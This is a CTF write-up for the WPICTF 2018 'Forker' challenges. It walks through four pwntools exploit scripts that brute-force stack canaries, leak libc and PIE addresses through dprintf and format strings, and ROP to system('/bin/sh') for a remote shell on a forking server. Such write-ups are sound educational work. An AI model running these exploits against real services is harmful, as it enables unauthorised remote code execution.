WPICTF 2018: Forker[1-4] Writeup - Blind-ish ROP
By David Buchanan, 15th of April 2018
Forker was a series of 4 challenges, each with minor changes. Here's a summary:
- Forker1: Linux x86-64, basic stack smash, no NX, no ASLR, no PIE, no stack canary
- Forker2: NX on, ASLR on, stack canary on
- Forker3: PIE on
- Forker4: No binary or libc provided
Just a quick note, the points given for each challenge were higher than most CTFs.
Forker1 - 200pt
nc forker1.wpictf.xyz 31337 redundant servers on 31338 and 31339 Hint: ASLR is disabled on the server made by awg
This challenge was a TCP server which forks to handle each request. Therefore, the server binary should keep running at all times, in the background. This gives it several interesting properties, which I'll get on to.
When you connect to the server, it asks you for a password input. If you get the hardcoded password right, it prints a litecoin address.
$ nc localhost 31337 Please enter the correct password to get my secret ltc info Password:INTERNET_FUNNY_MUNNY You got the password right! My litecoin address is LNpECGn9in6BGC8eaK87QawjzAXaWMht2b
The ltc address is useless however, we need to get a shell!
The check_password
function looks like this:
As you can see, there is a hand-made gets
-like function, which we can
use to smash the stack. One slight catch is that the index
variable will get
overwritten before we get to the saved return address, but we can deal with that
by simply overwriting it with the index of the saved return address itself.
Now that we have control of rip
, what next? Given that ASLR is off and NX is
off, you could just return onto the stack. However, I didn't feel like working
out what the remote stack address was, so I opted for a return-to-libc approach.
I also thought this might be more future-proof for the subsequent levels.
We still need to work out what the libc base address is, but that can be done
by dprintf
ing a GOT entry. To call dprintf
, we need to set the first argument,
rdi
to the socket file descriptor (Which in this case always ends up being 4),
and the second argument, rsi
to the address we want to print.
During the CTF, I used ROPgadget
to find suitable gadgets:
$ ROPgadget --binary forker.level1 Gadgets information ============================================================ ... 0x0000000000400c13 : pop rdi ; ret 0x0000000000400c11 : pop rsi ; pop r15 ; ret ... Unique gadgets found: 57
However, for my final solution, I let pwntools do the hard work of ROP generation.
Sidenote: The libc.so was not provided, so I had to work it out using https://libc.blukat.me/
Here's the exploit script I wrote:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | from pwn import * context.clear(arch="amd64") TESTING = False SOCKFD = 4 elf = ELF("./forker.level1") if TESTING: libc = ELF("/usr/lib/libc.so.6") else: libc = ELF("./libc6_2.26-0ubuntu3_amd64.so") def get_server(): if TESTING: return remote("localhost", 31337) else: return remote("forker1.wpictf.xyz", 31337) def do_rop(srv, rop): payload = chr(76+4+8)*77 # overwrite index var with offset of return address payload += rop assert("\n" not in payload) # this would break things srv.recvuntil("Password:") srv.sendline(payload) def leak_mem(addr): srv = get_server() rop = ROP(elf, badchars="\n") rop.dprintf(SOCKFD, addr) log.info("memleak ROP:") print rop.dump() do_rop(srv, str(rop)) resp = srv.clean(timeout=1) srv.close() return resp # STAGE 1: leak libc address libc_read = u64(leak_mem(elf.got["read"]) + "\0\0") # libc addresses end with 2 nulls log.info("libc_read = " + hex(libc_read)) libc.address = libc_read - libc.sym["read"] log.info("libc base = " + hex(libc.address)) # STAGE 2: ROP to victory rop = ROP(libc, badchars="\n") rop.dup2(SOCKFD, 0) rop.dup2(SOCKFD, 1) rop.dup2(SOCKFD, 2) rop.system(next(libc.search("/bin/sh"))) log.info("system() ROP:") print rop.dump() srv = get_server() do_rop(srv, str(rop)) srv.sendline("cat flag.txt") srv.interactive() |
Once we know where libc is, generating return-to-libc ROP is easy, and
pwntools makes it even easier. Because of the server setup, we need
to use dup2()
to make sure the IO for /bin/sh
goes via the socket.
Did I mention how awesome pwntools is yet?
From the flag, we can see that return-to-shellcode was the intended solution, but I like mine better :P.
Forker2 - 300pt
nc forker2.wpictf.xyz 31337 redundant servers on ports 31338 and 31339 libc: https://drive.google.com/file/d/1U4U3R_aynDh7db6KMX5rQYwHIwr2kxq0/view?usp=sharing made by awg
This time, libc was provided, which makes things a bit easier. However, there is also a stack canary, which makes things a bit harder...
We can't overwrite the index variable any more (it moved?), which is a shame because otherwise we could use it to "jump over" the canary.
Because every time you connect, it is still the same parent program running, the canary value will be the same each time.
We can construct a payload where the server will either crash, or not crash, depending on whether the canary is correct, and brute-force the canary value one byte at a time.
Here's what I came up with:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | from pwn import * context.clear(arch="amd64") TESTING = False TIMEOUT = 0.5 SOCKFD = 4 CANARY = "\0" # canary always starts with 0 #CANARY = p64(0x286868b44296ee00) # uncomment if you already leaked the canary elf = ELF("./forker.level2") if TESTING: libc = ELF("/usr/lib/libc.so.6") else: libc = ELF("./libc-2.26.so") def get_server(): if TESTING: return remote("localhost", 31337) else: return remote("forker2.wpictf.xyz", 31337) def do_rop(srv, rop): payload = payload = "A"*(64+8) payload += CANARY payload += "A"*(8*5) payload += rop assert("\n" not in payload) # this would break things srv.recvuntil("Password:") srv.sendline(payload) def leak_mem(addr): srv = get_server() rop = ROP(elf, badchars="\n") rop.dprintf(SOCKFD, addr) log.info("memleak ROP:") print rop.dump() do_rop(srv, str(rop)) resp = srv.clean(timeout=TIMEOUT) srv.close() return resp def server_is_dead(srv): resp = srv.clean(timeout=TIMEOUT) dead = "failed" not in resp # explicit failure is good! srv.close() return dead # STAGE 0: Bruteforce the canary while len(CANARY) < 8: for attempt in map(chr, range(0x100)): if attempt == "\n": # we can't send \n continue srv = get_server() srv.sendline("A"*(64+8) + CANARY + attempt) if not server_is_dead(srv): CANARY += attempt log.info("FOUND CANARY BYTE {}/8".format(len(CANARY))) break elif attempt == "\xff": log.error("Failed to leak canary :(") log.info("CANARY = " + hex(u64(CANARY))) # STAGE 1: leak libc address libc_read = u64(leak_mem(elf.got["read"]) + "\0\0") # libc addresses end with 2 nulls log.info("libc_read = " + hex(libc_read)) libc.address = libc_read - libc.sym["read"] log.info("libc base = " + hex(libc.address)) # STAGE 2: ROP to victory rop = ROP(libc, badchars="\n") rop.dup2(SOCKFD, 0) rop.dup2(SOCKFD, 1) rop.dup2(SOCKFD, 2) rop.system(next(libc.search("/bin/sh"))) log.info("system() ROP:") print rop.dump() srv = get_server() do_rop(srv, str(rop)) srv.sendline("cat flag.txt") srv.interactive() |
Bruteforcing the canary takes several minutes, but eventually a flag popped out:
WPI{Thats why you dont fork and expect canaries to work}
Forker3 - 500pt
nc forker3.wpictf.xyz 31337 redundant servers at ports 31338 and 31339 We now know that this one is exploitable thanks to NYUSEC. libc: https://drive.google.com/file/d/1U4U3R_aynDh7db6KMX5rQYwHIwr2kxq0/view?usp=sharing made by awg
The same again, but this time with PIE. This is annoying, because we don't know where to find our first stage ROP gadgets. Thankfully, we can bruteforce the return address in a similar way to the canary.
However, there is a slight shortcut we can take, using partial overwrites!
When check_password
returns, it just so happens that rsi
points to the
second character of our input. If we partially overwrite the return address
to point to one of the calls to dprintf, then we can use a format string
to leak whatever we want. For the partial overwrite to work, we only have to
brute-force 4 bits worth of ASLR, a lot easier than 64!
We can simply leak a libc address and start ROPing:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | from pwn import * context.clear(arch="amd64") TESTING = False TIMEOUT = 0.6 SOCKFD = 4 CANARY = "\0" # canary always starts with 0 #CANARY = p64(0xb480994d989c3d00) # uncomment if you already leaked the canary # elf = ELF("./forker.level3") # We don't need this any more! if TESTING: libc = ELF("/usr/lib/libc.so.6") else: libc = ELF("./libc-2.26.so") def get_server(): if TESTING: return remote("localhost", 31337) else: return remote("forker3.wpictf.xyz", 31337) def do_rop(srv, rop): payload = payload = "A"*(64+8) payload += CANARY payload += "A"*(8*5) payload += rop assert("\n" not in payload) # this would break things srv.recvuntil("Password:") srv.sendline(payload) def server_is_dead(srv): resp = srv.clean(timeout=TIMEOUT) dead = "failed" not in resp # explicit failure is good! srv.close() return dead # STAGE 0: Bruteforce the canary while len(CANARY) < 8: for attempt in map(chr, range(0x100)): if attempt == "\n": # we can't send \n continue srv = get_server() srv.sendline("A"*(64+8) + CANARY + attempt) if not server_is_dead(srv): CANARY += attempt log.info("FOUND CANARY BYTE {}/8".format(len(CANARY))) break elif attempt == "\xff": log.error("Failed to leak canary :(") log.info("CANARY = " + hex(u64(CANARY))) # STAGE 1: leak libc address libc_leak = None for i in range(1, 16): overwrite = i*0x1000 + 0xA03 # 0xa03 is one of the dprintf gadgets srv = get_server() payload = "A" + "woot 0x%18$016lx\0" payload += "A"*(64+8-len(payload)) payload += CANARY payload += "A"*(8*2) payload += p64(SOCKFD) payload += "A"*(8*2) payload += p16(overwrite) srv.sendline(payload) srv.recvuntil("Password:") resp = srv.clean(timeout=TIMEOUT) print(resp) srv.close() if "woot" in resp: libc_leak = eval(resp.split()[1].strip()) # my exploit is exploitable, lol break if not libc_leak: log.error("Failed to leak libc addr :(") libc_base = libc_leak - libc.sym["__libc_start_main"] # round to nearest page boundary to account for different libc # on my system, the leaked addr is __libc_start_main+234 libc_base += 0x800 libc_base /= 0x1000 libc_base *= 0x1000 libc.address = libc_base log.info("libc base = " + hex(libc.address)) # STAGE 2: ROP to victory rop = ROP(libc, badchars="\n") rop.dup2(SOCKFD, 0) rop.dup2(SOCKFD, 1) rop.dup2(SOCKFD, 2) rop.system(next(libc.search("/bin/sh"))) log.info("system() ROP:") print rop.dump() srv = get_server() do_rop(srv, str(rop)) srv.sendline("cat flag.txt") srv.interactive() |
And the flag was: WPI{Holy_shit_you_got_brop!}
Well, I didn't really use brop, but close enough.
Forker4 - 750pt
Yeah you guys don't even need a binary to get this one. (proven solvable by rpisec) nc forker4.wpictf.xyz 31337 redundant servers on 31338 and 31339 also have forker4-2.wpictf.xyz as well for you, if forker4 is too slow glhf - awg
No binary or libc this time!
I used the same strategy as last time, but with a slight difference. With Forker3, I was slightly unlucky that it required a 2-byte partial overwrite, rather than just one. If we're lucky, we only need a 1-byte overwrite this time because the program has been moved around a bit. Because we don't know where anything is, we will still need to brute-force the value for the 1-byte overwrite.
The second catch is that the libc is unknown. Once we have access to dprintf
,
we can dump the stack to leak the PIE offset, then we can put the full
address of the dprintf
gadget on the stack, so that we can put pointers
to other locations after it and get arbitrary reads with the format string.
Finally, we can leak some libc pointers, by a slightly painful process of getting
a pointer to the PLT, then to the GOT. We can use these leaks to work out the
libc version, again via https://libc.blukat.me/ . Once we have that, just ROP to
system
as before.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | from pwn import * context.clear(arch="amd64") TESTING = False TIMEOUT = 0.6 SOCKFD = 4 CANARY = "\0" # canary always starts with 0 #CANARY = p64(0x670e29543ae3dc00) # uncomment if you already leaked the canary if TESTING: libc = ELF("/usr/lib/libc.so.6") else: libc = ELF("./libc6_2.23-0ubuntu10_amd64.so") def get_server(): if TESTING: return remote("localhost", 31337) else: return remote("forker4.wpictf.xyz", 31337) def do_rop(srv, rop): payload = payload = "A"*(64+8) payload += CANARY payload += "A"*(8*5) payload += rop assert("\n" not in payload) # this would break things srv.recvuntil("Password:") srv.sendline(payload) def server_is_dead(srv): resp = srv.clean(timeout=TIMEOUT) dead = "failed" not in resp # explicit failure is good! srv.close() return dead def leak_mem(addr): srv = get_server() payload = "A" + "woot %6$s\0" payload += "A"*(64+8-len(payload)) payload += CANARY payload += "A"*(8*2) payload += p64(SOCKFD) payload += "A"*(8*2) payload += p64(dprintf_gadget_addr) payload += "A"*8 payload += p64(addr) assert("\n" not in payload) srv.sendline(payload) srv.recvuntil("woot ") resp = srv.clean(timeout=TIMEOUT) srv.close() return resp # STAGE 0: Bruteforce the canary while len(CANARY) < 8: for attempt in map(chr, range(0x100)): if attempt == "\n": # we can't send \n continue srv = get_server() srv.sendline("A"*(64+8) + CANARY + attempt) if not server_is_dead(srv): CANARY += attempt log.info("FOUND CANARY BYTE {}/8".format(len(CANARY))) break elif attempt == "\xff": log.error("Failed to leak canary :(") log.info("CANARY = " + hex(u64(CANARY))) # STAGE 1A: leak PIE address pie_leak = None for attempt in map(chr, range(0x100)): if attempt == "\n": # we can't send \n continue srv = get_server() payload = "A" + "woot 0x%14$016lx\0" payload += "A"*(64+8-len(payload)) payload += CANARY payload += "A"*(8*2) payload += p64(SOCKFD) payload += "A"*(8*2) payload += attempt srv.sendline(payload) srv.recvuntil("Password:") resp = srv.clean(timeout=TIMEOUT) print(resp) srv.close() if "woot" in resp: pie_leak = eval(resp.split()[1].strip()) # my exploit is exploitable, lol break if not pie_leak: log.error("Failed to leak PIE addr :(") print(hex(pie_leak)) base_addr = pie_leak &~ 0xFFF # 0xA00 is an educated guess, same as would be needed for forker3 dprintf_gadget_addr = base_addr + 0xA00 + ord(attempt) # STAGE 1B: leak libc addresses def chase_plt_pointer(addr): plt_offset = u32(leak_mem(addr)[:4], sign="signed") plt_addr = addr+4+plt_offset got_offset = u32(leak_mem(plt_addr+2)+"\0") return u64(leak_mem(plt_addr+6+got_offset)+"\0\0") libc_dprintf = chase_plt_pointer(dprintf_gadget_addr+10) log.info("libc_dprintf = " + hex(libc_dprintf)) libc_close = chase_plt_pointer(dprintf_gadget_addr-24) log.info("libc_close = " + hex(libc_close)) # ^^^ these two libc pointers are enough to find libc: # https://libc.blukat.me/?q=dprintf%3Aa60%2Cclose%3A8e0 libc.address = libc_dprintf - libc.sym["dprintf"] log.info("libc base = " + hex(libc.address)) # STAGE 2: ROP to victory rop = ROP(libc, badchars="\n") rop.dup2(SOCKFD, 0) rop.dup2(SOCKFD, 1) rop.dup2(SOCKFD, 2) rop.system(next(libc.search("/bin/sh"))) log.info("system() ROP:") print rop.dump() srv = get_server() do_rop(srv, str(rop)) srv.sendline("cat flag.txt") srv.interactive() |
And the flag was:
WPI{God_dammit_you_guys_learned_brop_for_real_this_time}